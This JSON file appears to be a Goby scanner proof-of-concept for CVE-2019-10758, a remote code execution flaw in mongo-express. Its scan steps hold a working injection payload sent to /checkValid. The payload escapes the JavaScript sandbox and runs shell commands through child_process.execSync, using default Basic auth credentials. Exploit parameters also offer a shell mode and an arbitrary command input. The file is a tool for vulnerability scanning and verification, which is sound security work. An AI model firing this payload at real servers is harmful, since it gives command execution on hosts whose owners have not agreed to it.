{
  "Name": "mongo-express rce(CVE-2019-10758)",
  "Description": "mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the 'toBSON' method. A misuse of the 'vm' dependency to perform 'exec' commands in a non-safe environment.",
  "Product": "mongo-express",
  "Homepage": "https://github.com/mongo-express/mongo-express",
  "DisclosureDate": "2019-12-24",
  "Author": "gobysec@gmail.com",
  "GifAddress": "https://raw.githubusercontent.com/gobysec/GobyVuls/master/Mongo-Express/CVE-2019-10758/CVE-2019-10758.gif",
  "FofaQuery": "header=\"mongo-express\" || title=\"Home - Mongo Express\"",
  "GobyQuery": "header=\"mongo-express\" || title=\"Home - Mongo Express\"",
  "Level": "3",
  "Impact": "Remote code execution on the host machine by any authenticated user.",
  "Recommendation": "Users should upgrade to version 0.54.0",
  "References": [
    "https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215",
    "https://nvd.nist.gov/vuln/detail/CVE-2019-10758",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10758"
  ],
  "HasExp": true,
  "ExpParams": [
			{
                  "name": "AttackType",
                  "type": "select",
                  "value": "goby_shell,cmd"
            },
			{
                  "name": "cmd",
                  "type": "input",
                  "value": "whoami",
				  "show": "AttackType=cmd"
            }
	],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "document=this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"whoami\")",
        "data_type": "text",
        "follow_redirect": false,
        "method": "POST",
        "uri": "/checkValid",
		"header": {"Content-Type":"application/x-www-form-urlencoded", "Authorization":"Basic YWRtaW46cGFzcw=="}
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
			{
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "Valid",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    },
    {
      "Request": {
        "data": "document=this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"gobytestnotvalid\")",
        "data_type": "text",
        "follow_redirect": false,
        "method": "POST",
        "uri": "/checkValid",
		"header": {"Content-Type":"application/x-www-form-urlencoded", "Authorization":"Basic YWRtaW46cGFzcw=="}
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
			{
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "Invalid",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": null,
  "Tags": null,
  "CVEIDs": [
    "CVE-2019-10758"
  ],
  "CVSSScore": "9.9",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}